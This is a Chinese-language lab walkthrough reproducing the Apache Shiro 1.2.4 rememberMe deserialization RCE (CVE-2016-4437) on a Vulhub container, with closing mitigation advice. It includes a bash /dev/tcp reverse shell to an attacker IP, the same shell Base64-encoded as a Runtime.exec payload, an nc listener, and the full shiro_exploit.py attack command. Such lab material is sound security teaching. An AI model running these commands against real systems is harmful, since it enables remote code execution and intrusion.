Shiro-CVE-2016-4437 漏洞复现
字数 1901 2025-08-10 17:51:54

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437) 完整复现指南

1. 漏洞概述

1.1 Apache Shiro 简介

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,提供以下核心功能:

  • 身份验证:支持用户名/密码、LDAP、OAuth 等多种认证方式
  • 授权:基于角色和权限的授权机制
  • 会话管理:支持内存、数据库、Redis 等会话存储
  • 密码加密:提供密码加密和散列功能
  • Web 集成:支持 Spring MVC、Struts 等 Web 框架

1.2 漏洞原理

RememberMe 功能工作机制

  1. 用户登录成功后生成加密并编码的 Cookie
  2. Cookie 的 key 为 RememberMe,值为序列化数据 → AES 加密 → Base64 编码
  3. 服务端解析流程:
    • 检索 RememberMe cookie 值
    • Base64 解码
    • AES 解密(使用硬编码密钥)
    • 反序列化(无过滤)

漏洞成因

  • AES 加密密钥硬编码在源码中(已知密钥)
  • 反序列化过程未做任何过滤
  • 攻击者可构造恶意序列化数据,触发远程代码执行

1.3 漏洞信息

项目 详情
漏洞名称 Apache Shiro 1.2.4 反序列化漏洞 (Shiro-550)
CVE 编号 CVE-2016-4437
危害等级 高危
漏洞类型 RCE (远程代码执行)
受影响版本 Apache Shiro <= 1.2.4

2. 环境准备

2.1 实验环境

  • 攻击机:Kali Linux 2023
  • 靶机:使用 Vulhub 搭建的漏洞环境

2.2 所需工具

  1. 漏洞检测工具

    • shiro_exploit.py (Python3 + JDK1.8 环境)
    • shiro_attack-4.5.3-SNAPSHOT-all.jar (图形化工具)
  2. 其他工具

    • Burp Suite 2022
    • Docker
    • nc (netcat)
  3. 在线资源

    • DNSLog 平台 (用于漏洞验证)
    • Runtime.exec Payload 生成工具

2.3 环境搭建

  1. 下载 Vulhub 环境:
    cd /home/kali/vulhub/shiro/CVE-2016-4437/
    sudo docker-compose up -d
    
  2. 访问 http://靶机IP:8080 确认环境启动成功

3. 漏洞验证与利用

3.1 判断 Shiro 框架

  1. 访问目标网站
  2. 勾选 RememberMe 选项,输入任意账号密码登录
  3. 检查响应头:
    • 若存在 Set-Cookie: rememberMe=deleteMe,则确认使用 Shiro 框架

3.2 漏洞验证方法

方法一:使用 Python 脚本 + DNSLog

  1. 获取 DNSLog 子域名
  2. 执行检测命令:
    python shiro_exploit.py -t 3 -u http://靶机IP:8080 -p "ping -c 2 你的DNSLog子域名"
    
  3. 检查 DNSLog 平台是否有回显

方法二:使用 JAR 工具

  1. 运行图形化工具:
    java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar
    
  2. 输入目标 URL 进行检测

3.3 漏洞利用(反弹 Shell)

步骤 1:准备反弹 Shell 命令

原始命令:

bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1

示例:

bash -i >& /dev/tcp/10.9.46.170/6666 0>&1

步骤 2:加密 Payload

使用在线工具将命令转换为 Runtime.exec 格式:

  1. 访问 Runtime.exec Payload 生成网站
  2. 输入反弹 Shell 命令,获取 Base64 编码结果

示例编码结果:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=

步骤 3:开启监听

攻击机上执行:

sudo nc -lvp 6666

步骤 4:执行攻击

使用 Python 脚本执行:

python shiro_exploit.py -t 3 -u http://靶机IP:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

或使用 JAR 工具图形化操作

4. 防御措施

4.1 官方修复方案

  1. 升级 Apache Shiro 到最新版本

    • 官方已在后续版本中修复此漏洞
  2. 修改默认密钥

    • 在 shiro.ini 或配置文件中设置自定义密钥
    • 示例:
      securityManager.rememberMeManager.cipherKey = 自定义复杂密钥
      
  3. 禁用 RememberMe 功能(如不需要)

4.2 其他防护建议

  1. 部署 WAF 等安全产品拦截恶意请求
  2. 实施网络隔离,限制服务器出网连接
  3. 定期进行安全审计和漏洞扫描

5. 参考资源

  1. Vulhub 漏洞环境:https://vulhub.org/#/environments/shiro/CVE-2016-4437/
  2. Shiro 官方文档:https://shiro.apache.org/
  3. CVE 详细描述:https://nvd.nist.gov/vuln/detail/CVE-2016-4437
  4. 漏洞分析文章:CSDN - Apache Shiro 1.2.4 反序列化漏洞分析

注意事项

  • 本教程仅用于合法安全测试和教育目的
  • 在实际环境中进行测试前请确保获得授权
  • 企业生产环境应及时修复此漏洞,避免被恶意利用
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437) 完整复现指南 1. 漏洞概述 1.1 Apache Shiro 简介 Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,提供以下核心功能: 身份验证:支持用户名/密码、LDAP、OAuth 等多种认证方式 授权:基于角色和权限的授权机制 会话管理:支持内存、数据库、Redis 等会话存储 密码加密:提供密码加密和散列功能 Web 集成:支持 Spring MVC、Struts 等 Web 框架 1.2 漏洞原理 RememberMe 功能工作机制 : 用户登录成功后生成加密并编码的 Cookie Cookie 的 key 为 RememberMe,值为序列化数据 → AES 加密 → Base64 编码 服务端解析流程: 检索 RememberMe cookie 值 Base64 解码 AES 解密(使用硬编码密钥) 反序列化(无过滤) 漏洞成因 : AES 加密密钥硬编码在源码中(已知密钥) 反序列化过程未做任何过滤 攻击者可构造恶意序列化数据,触发远程代码执行 1.3 漏洞信息 | 项目 | 详情 | |------|------| | 漏洞名称 | Apache Shiro 1.2.4 反序列化漏洞 (Shiro-550) | | CVE 编号 | CVE-2016-4437 | | 危害等级 | 高危 | | 漏洞类型 | RCE (远程代码执行) | | 受影响版本 | Apache Shiro <= 1.2.4 | 2. 环境准备 2.1 实验环境 攻击机:Kali Linux 2023 靶机:使用 Vulhub 搭建的漏洞环境 2.2 所需工具 漏洞检测工具 : shiro_exploit.py (Python3 + JDK1.8 环境) shiro_attack-4.5.3-SNAPSHOT-all.jar (图形化工具) 其他工具 : Burp Suite 2022 Docker nc (netcat) 在线资源 : DNSLog 平台 (用于漏洞验证) Runtime.exec Payload 生成工具 2.3 环境搭建 下载 Vulhub 环境: 访问 http://靶机IP:8080 确认环境启动成功 3. 漏洞验证与利用 3.1 判断 Shiro 框架 访问目标网站 勾选 RememberMe 选项,输入任意账号密码登录 检查响应头: 若存在 Set-Cookie: rememberMe=deleteMe ,则确认使用 Shiro 框架 3.2 漏洞验证方法 方法一:使用 Python 脚本 + DNSLog 获取 DNSLog 子域名 执行检测命令: 检查 DNSLog 平台是否有回显 方法二:使用 JAR 工具 运行图形化工具: 输入目标 URL 进行检测 3.3 漏洞利用(反弹 Shell) 步骤 1:准备反弹 Shell 命令 原始命令: 示例: 步骤 2:加密 Payload 使用在线工具将命令转换为 Runtime.exec 格式: 访问 Runtime.exec Payload 生成网站 输入反弹 Shell 命令,获取 Base64 编码结果 示例编码结果: 步骤 3:开启监听 攻击机上执行: 步骤 4:执行攻击 使用 Python 脚本执行: 或使用 JAR 工具图形化操作 4. 防御措施 4.1 官方修复方案 升级 Apache Shiro 到最新版本 官方已在后续版本中修复此漏洞 修改默认密钥 : 在 shiro.ini 或配置文件中设置自定义密钥 示例: 禁用 RememberMe 功能 (如不需要) 4.2 其他防护建议 部署 WAF 等安全产品拦截恶意请求 实施网络隔离,限制服务器出网连接 定期进行安全审计和漏洞扫描 5. 参考资源 Vulhub 漏洞环境:https://vulhub.org/#/environments/shiro/CVE-2016-4437/ Shiro 官方文档:https://shiro.apache.org/ CVE 详细描述:https://nvd.nist.gov/vuln/detail/CVE-2016-4437 漏洞分析文章:CSDN - Apache Shiro 1.2.4 反序列化漏洞分析 注意事项 : 本教程仅用于合法安全测试和教育目的 在实际环境中进行测试前请确保获得授权 企业生产环境应及时修复此漏洞,避免被恶意利用